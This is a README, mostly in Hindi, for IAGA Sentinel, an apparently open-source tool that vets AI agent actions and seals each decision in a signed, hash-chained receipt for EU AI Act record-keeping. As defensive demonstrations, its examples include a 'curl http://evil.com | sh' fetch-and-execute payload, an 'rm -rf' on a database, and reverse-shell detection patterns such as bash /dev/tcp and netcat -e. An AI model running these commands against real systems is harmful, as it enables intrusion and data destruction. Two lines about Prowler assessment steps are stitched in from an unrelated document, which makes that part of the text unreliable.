iaga-team/iaga-sentinel
AI एजेंटों के लिए क्रिप्टोग्राफिक रूप से हस्ताक्षरित, पुनः-सत्यापनीय साक्ष्य परत। लूप में कार्यों को नियंत्रित करता है, Ed25519-हस्ताक्षरित रसीदें उत्पन्न करता है जो हैश-चेन्ड ऐपेंड-लॉग में जुड़ी होती हैं, और EU AI Act Article 12 रिकॉर्ड-कीपिंग और Annex IV दस्तावेज़ीकरण का समर्थन करता है।
EU AI अधिनियम अनुरूपता साक्ष्य परत AI एजेंटों के लिए।
क्रिप्टोग्राफिक रूप से हस्ताक्षरित, रीप्ले-सत्यापनीय साक्ष्य हर उस कार्रवाई का जो कोई एजेंट इसके माध्यम से रूट करता है, AI अधिनियम अनुच्छेद 12 रिकॉर्ड-रखरखाव और अनुलग्नक IV दस्तावेज़ीकरण का समर्थन करने के लिए संरचित।
दस्तावेज़ीकरण · त्वरित आरंभ · स्वायत्त एजेंट सेटअप · समुदाय बनाम एंटरप्राइज़ · हम कौन हैं · लाइसेंस
EU में तीन संस्थापकों (फ्रांसीसी, जर्मन, इतालवी) द्वारा निर्मित और अनुसंधान-मान्य, विपणन-मान्य नहीं: AISEC 2026, मराकेश में सहकर्मी-समीक्षित।
AI एजेंट शेल, फाइलसिस्टम, डेटाबेस, तृतीय-पक्ष API और गुप्त जानकारी को छूते हैं। जब कोई नियामक, लेखापरीक्षक, या आपका स्वयं का DPO आपसे यह साबित करने के लिए कहता है कि एजेंट ने क्या किया, और यह साबित करने के लिए कि रिकॉर्ड बाद में बदला नहीं गया, तो अधिकांश टीमों के पास दिखाने के लिए कुछ नहीं होता। IAGA Sentinel वह प्रमाण उत्पन्न करता है: यह आपके एजेंट स्टैक (HTTP साइडकार, MCP प्रॉक्सी, या iaga run) के बगल में बैठता है और प्रत्येक शासन निर्णय को Ed25519-हस्ताक्षरित रसीद में बदल देता है जो हैश-चेन्ड अपेंड-लॉग में जुड़ा होता है, ऑफलाइन सत्यापनीय, पुनरुत्पादनीय निर्णयों (निश्चित जोखिम भार के तहत नियतात्मक) और रीप्ले-आधारित बहाव पहचान के साथ। रिकॉर्ड EU AI अधिनियम अनुच्छेद 12 रिकॉर्ड-रखरखाव का समर्थन करने और उच्च-जोखिम प्रणाली की आवश्यकता वाले अनुलग्नक IV तकनीकी दस्तावेज़ीकरण तैयार करने में मदद करने के लिए संरचित है।
[!IMPORTANT] IAGA Sentinel लूप में शासन करता है और कठोरता से सील करता है। निर्णय किसी कार्रवाई के आगे बढ़ने से पहले गणना किए जाते हैं;
iaga runके साथ एक अवरुद्ध प्रक्रिया कभी शुरू नहीं होती और एक अनुमत प्रक्रिया को सीधे प्रतिबंधित किया जाता है—इसके वातावरण से गुप्त जानकारी हटा दी जाती है, कोई कोर डंप नहीं, कोई विशेषाधिकार वृद्धि नहीं, अपने पैरेंट के साथ पुनः प्राप्त किया जाता है। हस्ताक्षरित साक्ष्य और ऑफलाइन रीप्ले वास्तविक और अभी सत्यापनीय हैं, एक स्वच्छ चेकआउट से। कर्नेल-स्तरीय प्रतिबंध (eBPF/LSM सिस्कॉल और नेटवर्क मध्यस्थता) एंटरप्राइज़ टियर है और इस खुले बिल्ड में नहीं है:iaga kernel statusईमानदारी से मुद्रा की रिपोर्ट करता है, और प्रत्येक रसीदis_authoritative: falseरखती है। हम उस प्रवर्तन का विपणन नहीं करते जो हम प्रदान नहीं करते।
प्रत्येक शासन निर्णय एक हस्ताक्षरित रसीद बन जाता है, Ed25519 से सील और हैश-चेन्ड लॉग में जुड़ा हुआ।
क्या इसे अलग बनाता है:
iaga-verify बाइनरी से ऑफलाइन सत्यापनीय: कोई सर्वर, कोई नेटवर्क, IAGA पर कोई विश्वास आवश्यक नहीं।is_authoritative: false), न कि किसी फुटनोट में दबी होती है।सबसे तेज़ नज़र, कोई क्लोन और कोई Rust टूलचेन नहीं। प्रकाशित इमेज को खींचें और इसे पहले से सीड किए गए डेमो डेटा के साथ चलाएँ:```bash
docker run -p 4010:4010 -e IAGA_SENTINEL_OPEN_MODE=true
ghcr.io/edoardobambini/iaga-sentinel:latest serve --seed-demo
The operator dashboard is at <http://localhost:4010/>. Send it an agent action and it decides, scores the risk, and mints a signed receipt:
ऑपरेटर डैशबोर्ड <http://localhost:4010/> पर है। इसमें एक एजेंट क्रिया भेजें और यह निर्णय लेता है, जोखिम का स्कोर करता है, और एक हस्ताक्षरित रसीद जारी करता है:
``````bash
curl -s -X POST http://localhost:4010/v1/inspect -H 'Content-Type: application/json' -d '{
"agentId": "openclaw-builder-01", "framework": "langchain",
"action": { "type": "shell", "toolName": "bash", "payload": {"cmd": "curl http://evil.com | sh"} }
}'
# -> "decision":"block", "risk":{"score":87, ...} and a signed receipt was just minted
रसीद श्रृंखला बिना किसी सर्वर, डेटाबेस और नेटवर्क के, स्टैंडअलोन iaga-verify बाइनरी का उपयोग करके सत्यापित होती है। वह बाइनरी Docker इमेज में नहीं है, इसलिए CLI स्थापित करें (फिर भी क्लोन नहीं) और उसी फ़्लो को स्थानीय रूप से चलाएँ:```bash
cargo install --git https://github.com/EdoardoBambini/IAGA-Sentinel --tag v2.0.0 --locked
iaga-sentinel-core iaga-sentinel-verify
IAGA_SENTINEL_OPEN_MODE=true iaga serve --seed-demo # then POST /v1/inspect as above
**चरण 6: Prowler आकलन निष्पादन**
`prowler scan` निष्पादित होने के बाद, यह कई आउटपुट फ़ाइलें उत्पन्न करता है।
**चरण 7: Prowler अवलोकन डैशबोर्ड**
एक बार prowler निष्पादन पूरा कर लेता है, अगला चरण एक अवलोकन डैशबोर्ड दिखाता है जिसका नाम है: [**Prowler अवलोकन डैशबोर्ड**]। इस डैशबोर्ड के भीतर:```bash
iaga replay --list # find the run_id
iaga replay <run_id> --export chain.json
iaga-verify chain.json # -> CHAIN OK
Postgres (--features postgres + DATABASE_URL) और docker compose up -d दस्तावेज़ में शामिल हैं।
IAGA Sentinel को एक AI एजेंट द्वारा स्वयं खड़ा करने के लिए बनाया गया है — किसी मानव रनबुक की आवश्यकता नहीं है। इस रेपो को किसी एजेंटिक कोडिंग टूल (Claude Code, Cursor, OpenClaw, या किसी MCP क्लाइंट) में ड्रॉप करें और इसे AGENTS.md पर इंगित करें: एजेंट अपनी स्वयं की मेमोरी/निर्देश फ़ाइलों को पढ़ता है, उन संचालन नियमों को प्राप्त करता है जो वह पहले से रखता है, उन्हें एक टाइप की गई Dictum नीति के रूप में एनकोड करता है, और — एक बार जब आप उन्हें अनुमोदित करते हैं — तो डैशबोर्ड को लाता है, MCP पर खुद को कनेक्ट करता है, और अपनी कार्रवाइयों को शासन के अंतर्गत रखता है। इसके बाद वह जो भी टूल कॉल करता है, उसे कार्रवाई करने से पहले जाँचा (अनुमति / समीक्षा / ब्लॉक) जाता है और एक हस्ताक्षरित रसीद में सील कर दिया जाता है।
यह लूप डिज़ाइन द्वारा मानव-इन-द-लूप है — दो गेट:
आप नियमों को अनुमोदित करते हैं। एजेंट उन्हें अपनी मेमोरी से प्राप्त करता है, सरल भाषा में दिखाता है (प्रत्येक अपने स्रोत का हवाला देते हुए), और प्रतीक्षा करता है। जब तक आप जाओ नहीं कहते, तब तक कुछ भी लागू नहीं किया जाता।
आप इसे काम करते हुए देखते हैं। यह दो लाइव टेस्ट कॉल करता है; आप उन्हें http://localhost:4010/ पर वास्तविक समय में डैशबोर्ड पर उतरते हुए देखते हैं, और एक बार जब आप पुष्टि करते हैं, तो यह आपका अभिवादन करता है।
एक कमांड गैर-इंटरैक्टिव रूप से पूरे यांत्रिक लूप को चलाता है — बिल्ड → पॉलिसी → सर्व → MCP पर सेल्फ-कनेक्ट → दो शासित परीक्षण कॉल → ऑफ़लाइन प्रूफ़:```bash ./scripts/agent_bootstrap.sh # Linux/macOS (needs jq) .\scripts\agent_bootstrap.ps1 # Windows
इसे वास्तविक बनाने वाला विवरण: एजेंट `iaga serve` और `iaga mcp-server` दोनों को **समान `--policy`** पास करता है, इसलिए इसके द्वारा लिखी गई नीति वास्तव में MCP के माध्यम से किए जाने वाले कॉल्स को नियंत्रित करती है — न केवल वे जो मनुष्य टाइप करता है। पूर्ण स्थायी प्रक्रिया: [`AGENTS.md`](https://github.com/iaga-team/iaga-sentinel/blob/HEAD/AGENTS.md)।
---
## अब मेरा परीक्षण करें (2.0.0)
हमारी बात पर विश्वास न करें। रिपॉजिटरी में एक स्व-निहित डेमो किट शामिल है जो लाइव पाइपलाइन के माध्यम से तीन वास्तविक निर्णयों को चलाती है और आपकी अपनी मशीन पर ऑफलाइन रसीद साबित करती है। कुछ भी नकली नहीं है, और प्रत्येक रन पर आपको समान निर्णय मिलते हैं (निर्णय स्थिर हैं; सटीक जोखिम पूर्णांक एजेंट विश्वास के साथ थोड़ा विचलित होते हैं, जिसे पाइपलाइन प्रत्येक कार्रवाई के बाद अपडेट करती है)। [`scripts/`](https://github.com/iaga-team/iaga-sentinel/blob/HEAD/scripts/) के अंतर्गत दो स्क्रिप्ट और [`docs/demo/README.md`](https://github.com/iaga-team/iaga-sentinel/blob/HEAD/docs/demo/README.md) में एक रनबुक। प्राथमिक पथ Windows PowerShell है; Linux और macOS `.sh` जुड़वाँ का उपयोग करते हैं।
दो टर्मिनल खोलें। **टर्मिनल A** सर्वर शुरू करता है: यह बाइनरी बनाता है, एक समान सीड के लिए डेमो डेटाबेस को साफ करता है, और `:4010` पर डैशबोर्ड प्रदान करता है।```powershell
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass -Force
cd path\to\IAGA-Sentinel
.\scripts\demo.ps1 -Build
हरे READY बैनर और DASHBOARD -> http://localhost:4010/ की प्रतीक्षा करें। उस URL को ब्राउज़र में खोलें और Live feed टैब पर क्लिक करें। फिर Terminal B डेमो चलाता है:```powershell
cd path\to\IAGA-Sentinel
.\scripts\demo_run.ps1
कैमरे के लिए गति निर्धारित करते हुए, आप डैशबोर्ड लाइव फ़ीड और टर्मिनल पर एक साथ तीन वास्तविक निर्णय देखेंगे:
- **Beat 1, ALLOW** (जोखिम 2): एक सुरक्षित रिपॉजिटरी रीड, रिकॉर्ड किया गया।
- **Beat 2, REVIEW** (जोखिम 40): एक शेल कमांड जिसके लिए प्रोडक्शन सीक्रेट चाहिए, एक मानव के लिए लंबित समीक्षा अनुरोध के रूप में खोला गया।
- **Beat 3, BLOCK** (जोखिम 81): डेटाबेस पर `rm -rf`, एक हस्ताक्षरित रसीद के साथ अस्वीकृत जो इसे साबित करती है (`/v1/inspect` निर्णय लौटाता है; `iaga run` सीधे लॉन्च को रोकता है)।
- **प्रमाण.** तीनों हस्ताक्षरित रसीदें एक हैश-चेन रन के रूप में निर्यात होती हैं और `iaga-verify` बिना किसी सर्वर, डेटाबेस या नेटवर्क के `CHAIN OK` प्रिंट करता है। अंतिम रसीद Block को प्रमाणित करती है।
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/13896/cbf7f0102fa254236cba9efb9e17e7a6ec43449b900642ef7b290c791d53fb09.gif" alt="एनिमेटेड आइसोमेट्रिक प्रवाह: हस्ताक्षरित रसीदें एक एकल सत्यापित रूट में स्टैक और सील हो जाती हैं" width="760" /><br />
<sub>कार्रवाई से सीलबंद, सत्यापन योग्य साक्ष्य तक।</sub>
</p>
ड्राइवर प्रत्येक निर्णय को सुनिश्चित करता है, इसलिए एक गैर-नियतात्मक रन कभी रिकॉर्ड नहीं किया जा सकता। एक साफ टेक को फिर से करने के लिए, सर्वर को `Ctrl+C` से रोकें और `demo.ps1` को पुनः चलाएँ (यह स्क्रैच से री-सीड करता है)।
लिनक्स और macOS पर प्रवाह समान है (ड्राइवर को `curl` और `jq` की आवश्यकता है):```bash
./scripts/demo.sh --build # terminal A
./scripts/demo_run.sh # terminal B
विंडो लेआउट, कैप्शन और 75 से 100 सेकंड का टाइमिंग बजट docs/demo/README.md में है।
सब कुछ www.iaga.tech/docs पर है: पूर्ण शून्य-से-सत्यापित-साक्ष्य ट्यूटोरियल, फ्रेमवर्क इंटीग्रेशन (LangChain, Claude Code, MCP, और 12 और), Dictum नीति भाषा, लागत नियंत्रण और बजट, API कुंजी और स्कोप, कॉन्फ़िगरेशन और पर्यावरण चर, उत्पादन चेकलिस्ट, और समस्या निवारण।
इस रिपॉजिटरी में:
CHANGELOG.md: रिलीज़ नोट्सdocs/openapi.yaml: पूर्ण HTTP API विनिर्देशdocs/adr/: आर्किटेक्चरल निर्णय रिकॉर्डplug-ins/: इन-द-लूप प्लगइन्स — रिलीज़ (VoltAgent, Letta) साथ ही 15 और फ्रेमवर्क के लिए *-adapter/ इंटीग्रेशनsdks/: Python और TypeScript SDKsSECURITY.md · DATA_HANDLING.md · यह रिपॉजिटरी ओपन बिल्ड है: स्रोत-सत्यापन योग्य साक्ष्य कोर, हस्ताक्षरित रसीदों के साथ, ऑफ़लाइन सत्यापन और रीप्ले, Dictum नीति इंजन, क्रॉस-प्लेटफ़ॉर्म यूज़रस्पेस प्रवर्तन, BYOK हस्ताक्षर, BYO ONNX रीज़निंग, और लागत नियंत्रण। हर दावा एक साफ चेकआउट से पुनरुत्पादन योग्य है: git clone && cargo test --workspace।
IAGA Sentinel Enterprise एक नियोजित वाणिज्यिक संस्करण है, जो वर्तमान में विकासाधीन है, जिसे प्रबंधित, प्लेटफ़ॉर्म-विशिष्ट, और अनुपालन-वितरण क्षमताएँ जोड़ने के लिए डिज़ाइन किया गया है: Annex IV डोजियर जनरेशन, योग्य हस्ताक्षर, SSO/RBAC/मल्टी-टेनेंसी, मूल SIEM और KMS इंटीग्रेशन, आधिकारिक कर्नेल प्रवर्तन, और क्यूरेटेड मॉडल पैकेज। ये नियोजित दिशाएँ हैं, शिपिंग सुविधाएँ नहीं, और यहाँ कुछ भी बिक्री का प्रस्ताव नहीं है। सार्वजनिक सीमा ADR 0010 में दस्तावेज़ित है; अवलोकन ENTERPRISE.md में है।
आज, IAGA Sentinel एक स्रोत-उपलब्ध प्रोजेक्ट (BUSL-1.1) और शोध प्रयास है; एंटरप्राइज़ संस्करण अभी खरीद के लिए उपलब्ध नहीं है। यदि आप इसका अनुसरण करना चाहते हैं और जब यह खुले तो जल्दी पहुँच प्राप्त करना चाहते हैं, तो अपना ईमेल [email protected] पर छोड़ दें — कोई खरीद नहीं, कोई प्रतिबद्धता नहीं, केवल जल्दी जानकारी।
EU विनियमन के लिए बुनियादी ढाँचा इस बात का सवाल है कि इसे कौन बनाता है। IAGA Sentinel EU में एक संस्थापक टीम द्वारा बनाया गया है जो यूरोपीय, बहुभाषी है, और उन विनियमित क्षेत्रों से संबंधित है जिन्हें AI अधिनियम नियंत्रित करता है। नीचे दिए गए दावे तथ्यों के रूप में बताए गए हैं, उनकी जाँच करने के लिए लिंक के साथ: वही आसन जो हर रसीद रखती है।
औसत आयु 20: उन अनुपालन सूटों से छोटी जिन्हें हम बदलने का लक्ष्य रखते हैं, उस EU AI अधिनियम से बड़ी जिसके साथ हम मैप करते हैं। हस्ताक्षर किसी भी तरह से समान सत्यापित करता है।
पूरी टीम www.iaga.tech/team पर है।
शोध-सत्यापित, विपणन-सत्यापित नहीं।
[!NOTE] नया 1.9.0 में: साक्ष्य अखंडता जिसकी आप मांग कर सकते हैं, और तैनाती पथ जो टिकते हैं। रसीदें अब fail-closed हो सकती हैं (
IAGA_SENTINEL_RECEIPT_FAIL_CLOSED): इसे सेट करने पर, बिना हस्ताक्षरित रसीद के कोई निर्णय नहीं भेजा जाता, और एक सर्वर जो रसीद लॉगर नहीं बना सकता, शुरू करने से इंकार कर देता है। डिफ़ॉल्ट रूप से बंद, इसलिए डिफ़ॉल्ट बिल्ड और रसीद बाइट्स 1.8.1 से अपरिवर्तित हैं।workspaceIdअब अनुरोध निकाय से विश्वसनीय नहीं है — शासन का दायरा एजेंट प्रोफ़ाइल से प्राप्त होता है, और एक अलग कार्यक्षेत्र का दावा करने वाले अनुरोध को किसी अन्य कार्यक्षेत्र की नीति द्वारा निर्णय देने के बजाय403 scope_mismatchमिलता है। तैनाती पक्ष पर, Compose और Kubernetes मैनिफेस्ट अब Ed25519 हस्ताक्षर कुंजी को स्थायी रखते हैं (यह हर पुनरारंभ पर पुनर्जीवित होती थी, पिछली रसीदों के सत्यापन को तोड़ते हुए), Helm चार्ट अब छवि की नीति पर एक खाली नीति माउंट नहीं करता, औरIAGA_SENTINEL_BOOTSTRAP_API_KEYएक इंटरैक्टिवiaga gen-keyके बिना एक ताज़ा इंस्टॉल को पहुँच योग्य बनाता है। CHANGELOG देखें।
[!NOTE] नया 1.8.0 में: मजबूत यूज़रस्पेस सीमांकन + रिवर्स-शेल पहचान।
iaga runअब एक अनुमत चाइल्ड को सीधे सीमित करता है —setsid, कोई कोर डंप नहीं (RLIMIT_CORE=0), कोई विशेषाधिकार वृद्धि नहीं (Linux परPR_SET_NO_NEW_PRIVS), अपने पैरेंट के साथ समाप्त — और थ्रेट-इंटेल परत रिवर्स शेल (netcat-e/-c,bash//dev/tcp,socat EXEC) और पुनरावर्तीchmod 777को क्रिटिकल के रूप में ध्वजांकित करती है। प्रवर्तन सहकारी / यूज़रस्पेस बना रहता है: कर्नेल eBPF/LSM सीमांकन Enterprise में रहता है,iaga kernel statusईमानदारी से आसन की रिपोर्ट करता है, और हर रसीद में अभी भीis_authoritative: falseहोता है। डिफ़ॉल्ट बिल्ड और रसीद बाइट्स 1.7.2 से अपरिवर्तित हैं। CHANGELOG देखें।
[!NOTE] नया 1.7.2 में: VoltAgent के लिए प्लगइन + एक साफ़
plug-ins/होम। VoltAgent के लिए एक नया रिलीज़ किया गया, इन-द-लूप प्लगइन (@iaga-sentinel/voltagent): एकonToolStartगेट जो किसी टूल केexecute()चलने से पहलेToolDeniedErrorफेंकता है, वैकल्पिक प्रॉम्प्ट-इंजेक्शन इनपुट-स्कैन और टूल आउटपुट का सीक्रेट रिडक्शन, और ऑफ़लाइनCHAIN OKरसीदें — एक वास्तविक साइडकार और एक वास्तविक मॉडल के खिलाफ एंड-टू-एंड सत्यापित। रिपो की इन-द-लूप इंटीग्रेशनplug-ins/के तहत समेकित हैं (रिलीज़*-plugin/कॉपी-पेस्ट*-adapter/के बगल में)। कोर के लिए योगात्मक और केवल दस्तावेज़: रसीदें और डिफ़ॉल्ट बिल्ड 1.7.1 के बाइट-समान हैं। CHANGELOG देखें।
[!NOTE] नया 1.7.1 में: दस्तावेज़ीकरण और ईमानदारी स्वच्छता। कोई कोड-पथ या वायर परिवर्तन नहीं — रसीदें, नीति मूल्यांकन, और डिफ़ॉल्ट बिल्ड 1.7.0 के बाइट-समान हैं। बूट बैनर और आर्किटेक्चर नोट्स अब वास्तविक पाइपलाइन गहराई बताते हैं (8 परतें, उनमें से दो — सैंडबॉक्स और औपचारिक-सत्यापन — सलाहकारी और निर्णय का हिस्सा नहीं) पुराने "12 परतों" शीर्षक के बजाय;
.cargo/audit.tomlदस्तावेज़ित करता है कि प्रत्येक अनदेखा RUSTSEC सलाहकार को कौन सा वैकल्पिक/संकलन-समय पथ खींचता है (डिफ़ॉल्ट बिल्ड में कोई नहीं,cargo treeके साथ पुनः सत्यापित); और कार्यक्षेत्र, SDK मेनिफेस्ट, और BUSLLicensed Workलाइन रिलीज़ के साथ संरेखित हैं। CHANGELOG देखें।
[!NOTE] नया 1.7.0 में: OSS बैकलॉग समापन। दो नियतात्मक Dictum बिल्टिन आते हैं —
timestamp()(RFC3339 से epoch, ताकि नीतियाँ सामान्य संख्यात्मक ऑपरेटरों के साथ अस्थायी श्रेणियाँ व्यक्त करें) औरsha256()(सामग्री हैशिंग)। MCP सतहiaga mcp-doctorप्राप्त करती है (किसी भी MCP एंडपॉइंट का स्वास्थ्य-जांच: हैंडशेक, टूल-स्कीमा आकार, और कौन से कॉल्स नीति इंजन को ब्लॉक करेगा) औरiaga-sentinel-mcpक्रेट जो Rust एजेंटों के लिएiaga::mcp::GovernedToolको उजागर करता है। थ्रेट-फ़ीड प्रारूप खुलता है (threat-intel.toml,IAGA_SENTINEL_THREAT_FEEDके माध्यम से लोड; क्यूरेटेड हस्ताक्षरित फ़ीड Enterprise में रहता है), SBOM इन्जेस्ट CycloneDX के बगल में SPDX सीखता है, औरiaga plugin attest --slsa-level Nऑफ़लाइन in-toto/SLSA स्टेटमेंट उत्सर्जित करता है (DSSE-हस्ताक्षर योग्य; स्तर ऑपरेटर-घोषित है, सत्यापित नहीं)। सभी योगात्मक — पिछले रिलीज़ की रसीदें अभी भी बाइट-दर-बाइट सत्यापित होती हैं, और हर OSS रसीदis_authoritative:falseरहती है। CHANGELOG देखें।
[!NOTE] नया 1.5.6 में: नीति भाषा अब Dictum है। टाइप की गई नीति DSL (पूर्व में APL / Agent Policy Language) का नाम बदलकर Dictum किया गया है:
.dictumफ़ाइल एक्सटेंशन,iaga-sentinel-dictumक्रेट,dictumबिल्ड फीचर, औरdictum[...]कारण जो हर ऑडिट इवेंट और हस्ताक्षरित रसीद पर दर्ज है। नाम परिवर्तन व्यवहार-संरक्षित है: हस्ताक्षरित-रसीद वायर प्रारूप बाइट-समान रहता है (apl_eval_traceफ़ील्ड रखा गया है)। ADR 0004 और CHANGELOG देखें।
[!NOTE] नया 1.5.4 में: नीति भाषा अब वही लागू करती है जो उसने वादा किया था। Dictum
secret_ref()बिल्टिन वास्तव में टूल पेलोड के अंदर क्रेडेंशियल्स और PII का पता लगाता है (यह एक प्लेसहोल्डर था जो हमेशा गलत लौटाता था), और एक नयाurl_host()बिल्टिन नीति को एक वास्तविक प्रति-होस्ट एग्रेस अलाउलिस्ट देता है जो लुक-अलाइक-डोमेन बाइपास को भी हराता है। तीन मुख्य फिक्स साथ भेजे जाते हैं: कार्यक्षेत्र एग्रेस अलाउलिस्ट URL-जागरूक है, इसलिए एक अनुमत होस्ट का पूरा URL अब अवरुद्ध नहीं होता; हरblockयाreviewअब अपने कारण को ऑडिट इवेंट और हस्ताक्षरित रसीद में रखता है, बिना किसी मूक वृद्धि के; और हस्ताक्षरित रसीदें एक सत्र में हैश-चेन बनाती हैं, इसलिए एक बहु-चरणीय चलन एक छेड़छाड़-स्पष्ट हैश चेन बनाता है। ADR 0023 और CHANGELOG देखें।
वर्तमान रिलीज़: 1.9.0 (रिलीज़ नोट्स)। CI पूर्ण कार्यक्षेत्र परीक्षण सूट (डिफ़ॉल्ट और --all-features), लाइव-Postgres रसीद परीक्षण, एक वास्तविक साइडकार के खिलाफ SDK एंड-टू-एंड स्मोक, और -D warnings के साथ क्लिप्पी चलाता है। साफ चेकआउट से सभी हरे।
IAGA Sentinel के इंटीग्रेशन प्लगइन्स निम्नलिखित के ओपन-सोर्स कार्य पर निर्मित हैं और कृतज्ञतापूर्वक स्वीकार करते हैं:
iaga बाइनरी निर्मित है, प्रत्येक को THIRD_PARTY_NOTICES.md में अपने लाइसेंस के साथ श्रेय दिया गया है।ये नाम केवल परियोजनाओं की पहचान करने के लिए उपयोग किए जाते हैं (नीचे ट्रेडमार्क देखें)।
अस्वीकरण। IAGA Sentinel एक स्वतंत्र प्रोजेक्ट है। VoltAgent और Letta उनके संबंधित मालिकों के ट्रेडमार्क हैं। IAGA Sentinel न तो VoltAgent Inc. या Letta से संबद्ध है, न ही उनके द्वारा समर्थित या प्रायोजित है। इसके इंटीग्रेशन प्लगइन्स स्वतंत्र इंटीग्रेशन हैं जो उन फ्रेमवर्क के साथ काम करते हैं; वे उन्हें बंडल या पुनर्वितरित नहीं करते — आप प्रत्येक फ्रेमवर्क के अपने पैकेज को अलग से इंस्टॉल करते हैं। TRADEMARKS.md देखें।
स्रोत Business Source License 1.1 के तहत Change License Apache-2.0 के साथ उपलब्ध है: स्वतंत्र रूप से कॉपी, संशोधित और पुनर्वितरित करें, और उत्पादन में उपयोग करें — एक अपवाद है IAGA Sentinel, या इससे प्राप्त एक काफी समान AI एजेंट गवर्नेंस सेवा, को तीसरे पक्ष को होस्टेड या प्रबंधित सेवा के रूप में प्रस्तुत करना (अतिरिक्त उपयोग अनुदान देखें LICENSE में)। प्रत्येक रिलीज़ प्रकाशित होने के चार साल बाद, वह रिलीज़ स्वचालित रूप से और अपरिवर्तनीय रूप से Apache-2.0 में परिवर्तित हो जाती है; रूपांतरण लाइसेंस में ही लिखा है।
कोई वारंटी नहीं, कोई देयता नहीं। IAGA Sentinel "जैसा है" प्रदान किया गया है, बिना किसी वारंटी और क्षति के लिए कोई देयता के। यह एक सलाहकार परत है (हर रसीद पर is_authoritative: false मुहर लगी है) — यह स्वयं कुछ भी लागू या गारंटी नहीं करता है, और उत्पादन में इस पर भरोसा करने से पहले इसका परीक्षण और सत्यापन करना आपकी जिम्मेदारी है। DISCLAIMER.md और LICENSE का देयता की सीमा अनुभाग देखें।
रिपॉजिटरी: https://github.com/EdoardoBambini/IAGA-Sentinel · दस्तावेज़ीकरण: https://www.iaga.tech/docs · संपर्क: [email protected]
CONTRIBUTING.md